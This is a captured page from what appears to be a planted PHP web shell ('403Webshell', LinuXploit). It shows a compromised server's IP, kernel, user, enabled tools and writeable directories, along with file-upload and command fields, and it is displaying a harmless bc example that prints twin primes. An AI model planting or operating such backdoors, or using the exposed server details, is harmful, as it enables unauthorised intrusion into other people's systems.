403Webshell
Server IP : 195.134.90.114  /  Your IP : 216.73.217.46
Web Server : Apache/2.4.58
System : Linux nepub 6.8.0-88-generic #89-Ubuntu SMP PREEMPT_DYNAMIC Sat Oct 11 01:02:46 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : OFF
Directory :  /usr/share/doc/bc/examples/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/share/doc/bc/examples/twins.b
/* An example that finds all primes between 2 and limit. */

define primes (limit) {
    auto num, p, root, i

    prime[1] = 2;
    prime[2] = 3;
    num = 2;
    scale = 0;

    for ( p=5; p <= limit; p += 2)  {
	root = sqrt(p);
	isprime = 1;
	for ( i = 1;  i < num && prime[i] <= root; i++ ) {
	    if ( p % prime[i] == 0 ) {
		isprime = 0;
		break;
            }
	}
	if (isprime) {
	    num += 1;
	    prime [num] = p;
	}
     }
}


print "\ntyping 'twins (10)' will print all twin primes less than 10.\n"

define twins (limit) {
   auto i;

   i = primes(limit+2);

   for (i=1; prime[i] > 0; i++) {
      if ((prime[i]+2) == prime[i+1]) \
	print "twins are ", prime[i], " and ", prime[i+1], "\n"
   }
}

Youez - 2016 - github.com/yon3zu
LinuXploit